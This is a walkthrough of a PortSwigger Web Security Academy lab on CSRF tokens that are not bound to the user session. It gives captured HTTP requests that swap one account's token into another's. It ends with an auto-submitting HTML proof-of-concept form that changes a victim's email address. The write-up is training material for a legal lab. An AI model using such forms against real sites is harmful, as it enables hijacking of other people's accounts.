← Back to Writeups
PORTSWIGGERN/ACSRF

CSRF where token is not tied to user session

XESXOR9/2/20263 min read
#csrf#portswigger#web-security-academy

CSRF where token is not tied to user session

Platform: PortSwigger | Category: CSRF | Type: Lab | Difficulty: N/A | OS: N/A | Author: XESXOR | Date: 2026-08-24 | Status: Solved Techniques: Web Security Academy, CSRF

Summary

Walkthrough of the PortSwigger Web Security Academy lab CSRF where token is not tied to user session (CSRF). This lab demonstrates a csrf vulnerability and its exploitation to achieve the lab objectives.

Lab Overview

PortSwigger Web Security Academy — CSRF

This writeup is part of the XESXOR PortSwigger collection. The original lab description and solution have been preserved and reformatted for clarity.

Lab Description :

image

Overview :

Some applications do not validate that the token belongs to the same session as the user who is making the request. Instead, the application maintains a global pool of tokens that it has issued and accepts any token that appears in this pool.

In this situation, the attacker can log in to the application using their own account, obtain a valid token, and then feed that token to the victim user in their CSRF attack.

Faulty appplication logic might look like,

python
def validate_token():
 if request.csrf_token:
 if (request.csrf_token in valid_csrf_tokens):
 pass
 else:
 throw_error("CSRF token incorrect. Request rejected.")
[...]
def process_state_changing_action():
 validate_token()

Solution :

If the csrf token is not tied to a user's session, then we can provide any other valid csrf token of other user. Reason behind is that the server only checks if the token is valid and not checking whether the token belongs to that user or not.

Let's now login as wiener & get his csrf token -

When we update email of wiener, we can see the csrf token of wiener in the request.

http
POST /my-account/change-email HTTP/2
Host: 0ab100cd04c72c3b82e93e0b0079000e.web-security-academy.net
Cookie: session=9PB8Veq3lkJHgs2D4HZnfvUKuJOGvxnd
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/113.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 61
Origin: https://0ab100cd04c72c3b82e93e0b0079000e.web-security-academy.net
Referer: https://0ab100cd04c72c3b82e93e0b0079000e.web-security-academy.net/my-account?id=wiener
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: same-origin
Sec-Fetch-User: ?1
Te: trailers

email=wiener%40user.net&csrf=6Wy58vHSJAKJJdZzmwioYeLDCxGeexP4
  • Wiener's csrf token - 6Wy58vHSJAKJJdZzmwioYeLDCxGeexP4

Now we can login as montoya to get her csrf token -

Login to carlos's account in a incognito tab.

http
POST /my-account/change-email HTTP/2
Host: 0ab100cd04c72c3b82e93e0b0079000e.web-security-academy.net
Cookie: session=x4B7o8ZwRIVNSEkvEiyDDuuJ2dQEmqHI
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/113.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 59
Origin: https://0ab100cd04c72c3b82e93e0b0079000e.web-security-academy.net
Referer: https://0ab100cd04c72c3b82e93e0b0079000e.web-security-academy.net/my-account?id=carlos
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: same-origin
Sec-Fetch-User: ?1
Te: trailers

email=test%40user.net&csrf=V7b2azJ1ChGis7L0p2dCyFazJpCWoFMP
  • Carlos's csrf token - V7b2azJ1ChGis7L0p2dCyFazJpCWoFMP

Now we should try to change the value of carlos's csrf token & replace it with wiener's.

http
POST /my-account/change-email HTTP/2
Host: 0ab100cd04c72c3b82e93e0b0079000e.web-security-academy.net
Cookie: session=x4B7o8ZwRIVNSEkvEiyDDuuJ2dQEmqHI
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/113.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 59
Origin: https://0ab100cd04c72c3b82e93e0b0079000e.web-security-academy.net
Referer: https://0ab100cd04c72c3b82e93e0b0079000e.web-security-academy.net/my-account?id=carlos
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: same-origin
Sec-Fetch-User: ?1
Te: trailers

email=test%40user.net&csrf=6Wy58vHSJAKJJdZzmwioYeLDCxGeexP4

Now generate CSRF POC and deliver it to victim via exploit server.

html
<html>
  <!-- CSRF PoC - generated by Burp Suite Professional -->
  <body>
  <script>history.pushState('', '', '/')</script>
    <form action="https://0ab100cd04c72c3b82e93e0b0079000e.web-security-academy.net/my-account/change-email" method="POST">
      <input type="hidden" name="email" value="pwned&#64;user&#46;net" />
      <input type="hidden" name="csrf" value="6Wy58vHSJAKJJdZzmwioYeLDCxGeexP4" />
      <input type="submit" value="Submit request" />
    </form>
    <script>
      document.forms[0].submit();
    </script>
  </body>
</html>

Thus we solved the lab,

image

Key Takeaways / Lessons

  • Understanding CSRF detection and exploitation is crucial for web security.
  • Always validate and sanitize user input; implement proper access controls.
  • This lab is part of the PortSwigger Web Security Academy — practice in a safe, legal environment.

Crafted by XESXOR Research • 2026-08-24 • PortSwigger Web Security Academy • Lab: CSRF where token is not tied to user session